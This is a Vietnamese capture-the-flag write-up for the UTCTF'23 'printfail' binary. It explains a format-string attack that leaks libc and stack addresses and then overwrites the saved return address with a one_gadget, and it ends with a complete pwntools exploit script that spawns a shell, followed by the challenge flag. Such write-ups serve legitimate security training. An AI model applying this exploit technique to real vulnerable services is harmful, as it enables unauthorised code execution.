# (writeup) UT_CTF'23 ## printfail - check file ![](https://i.imgur.com/usJCZt5.png) - check ida ![](https://i.imgur.com/e27hLfR.png) - checksec ![](https://i.imgur.com/cyv1FdV.png) > full giáp :))) - đề sẽ nhảy vào hàm **run_round** trước ![](https://i.imgur.com/ri3LFwh.png) - phân tích: - trong file k có hàm đọc flag lẫn system - hướng chính: ret2libc - ta sẽ nhập 1 chuỗi bất kì, sau đó nó sẽ so sánh độ dài chuỗi đó với số 1, nếu bé hơn thì đúng còn không sẽ trả về gtri False - khi trả về False thì sẽ end chương trình - vì ret2libc nên ta sẽ leak libc từ lỗi fmtstr ![](https://i.imgur.com/ScJS1M6.png) - tại %13, nhưng sau khi ta leak thì end mất tiu r, ta phải khiến cho chương trình chạy tiếp - thì dựa vào hàm **while** trong function ``main`` ta sẽ lặp ở đó - vậy để lặp thì biến ***v4*** đó vẫn là "1"(True) - logical thinking: byte newline? (\n), thử nhưng k được, null byte (\0), cũng sai - để ý thấy: ![](https://i.imgur.com/lZ0OBZ7.png) - sau khi nhập chuỗi bất kì, và sau lệnh *strlen()* thì bước này địa chỉ cuối là ...01 - ``ni`` thì ta lại có : ![](https://i.imgur.com/WF8v7K3.png) - tại địa chỉ đó trở về 0 (False) sau lệnh *cmp* - vậy ta cần làm là khiến nó khác 0 - nhận thấy đó là %7, vậy ta vừa có thể leak libc, vừa khiến ở %7 khác 0 >``%13$p%7$n`` - như vậy chương trình đã cho ta nhập tiếp - ta cần phải kiểm tra cả libc trên server có trùng với local hay không thì câu trả lời là KHÔNG - ta sẽ tìm kiếm libc ở web libc.rip - thì nhận dc ``libc6_2.31-0ubuntu9.9_amd64.so`` là kết quả trùng khớp nhất, ta sẽ pwninit thành "printfail_patched" - ở bài này ta sẽ sử dụng 1 công cụ là one_gadget để tạo shellcode, one_gadget sẽ ghi đè cái ``__libc_start_main__ret`` - trước khi nhập lần 2 thì ta thấy: ![](https://i.imgur.com/jAiIktO.png) - tại ``__libc_start_main_ret`` là save_rip, thì khi nhận dc hint chất lượng, ta phải khiến stack ở %15 trỏ đến save_rip để thực thi one_gadget - ta sẽ leak stack ra trước rồi tìm addr_saved_rip > ``%15$p%7$n`` - lưu ý là tìm addr của save_rip thì ta phải tìm offset, vì stack linh động > 0x007fffffffde88 - 0x007fffffffdd98 > = 0xf0 - địa chỉ addr_saved_rip: > ret = stack_leak - 0xf0 - thế thì ta sẽ thay đổi dữ liệu trên stack bằng %c và %n > ``payload = f'%8c%7$n%{ret & 0xffff - 8}c%15$hn'.encode()`` - ``%8c%7$n`` là để chương trình chạy tiếp, ``ret`` ta ghi 2 byte nên dùng toán tử "&" với 0xffff, "-8" là do phía trước ghi 8 byte của %8c và %15$hn là ở stack màu tím ta đg đề cập tới - cái tools "one_gadget" thì ta sẽ cắt ra làm 2 phần, 2 byte và 1 byte (do thấy chỉ khác nhau 3 byte thui) > part1 = one_gadget & 0xffff part2 = one_gadget >> 16 & 0xff - về phần offset của one_gadget thì ta cứ để sau, tutu tính ![](https://i.imgur.com/iEppe5M.png) > one_gadet = libc.address + offset - ta đã ghi đè 2 byte của addr_saved_rip r thì ta sẽ ghi dè tiếp nội dung trong save_rip >``payload = f'%8c%7$n%{part1 - 8}c%43$hn'.encode() `` - %43 là của stack tím de88 - sau đó ghi tiếp: >``payload = f'%8c%7$n%{(ret+2) & 0xffff - 8}c%15$hn'.encode() `` - "+2" là ghi tiếp 1 byte đã ghi 2 byte trước đó - rồi ghi tiếp part2 >``payload = f'%{part2}c%43$hhn'.encode() `` - vì k muốn chạy tiếp vòng lặp nữa nên ở đây bỏ luôn ``%8c%7$n`` và bỏ "-8" - bước này xong, ta sẽ dừng ngay tại ``ret`` của **main** để kiểm tra thanh ghi, so sánh với one_gadget cái nào thoả thì lấy offset đó - sau khi chạy execve, ta cần gửi thêm "/bin/sh" ![](https://i.imgur.com/1nVw8bI.png) - script: ```python #!/usr/bin/python3 from pwn import * context.binary = exe = ELF('./printfail_patched',checksec=False) libc = ELF('./libc6_2.31-0ubuntu9.9_amd64.so',checksec=False) #p = process(exe.path) p = remote('puffer.utctf.live', 4630) #gdb.attach(p, gdbscript=''' #b*run_round+75 #b*main+123 #c #''') #input() payload = b'%13$p%7$n' p.sendlineafter(b'do-overs.\n',payload) libc_leak = int(p.recvline()[:-1],16) libc.address = libc_leak - 147587 log.info("libc leak: " + hex(libc_leak)) log.info("libc base: " + hex(libc.address)) one_gadget = libc.address + 0xe3b01 log.info("one_gadget: " + hex(one_gadget)) payload = b'%15$p%7$n' p.sendlineafter(b'chance.\n',payload) stack_leak = int(p.recvline()[:-1],16) ret = stack_leak - 0xf0 log.info("stack_leak: " + hex(stack_leak)) log.info("ret: " + hex(ret & 0xffff)) payload = f'%8c%7$n%{ret & 0xffff - 8}c%15$hn'.encode() p.sendlineafter(b'chance.\n',payload) part1 = one_gadget & 0xffff part2 = one_gadget >> 16 & 0xff payload = f'%8c%7$n%{part1 - 8}c%43$hn'.encode() p.sendlineafter(b'chance.\n',payload) payload = f'%8c%7$n%{(ret+2) & 0xffff - 8}c%15$hn'.encode() p.sendlineafter(b'chance.\n',payload) payload = f'%{part2}c%43$hhn'.encode() p.sendlineafter(b'chance.\n',payload) p.sendline(b'/bin/sh') p.interactive() ``` > utflag{one_printf_to_rule_them_all}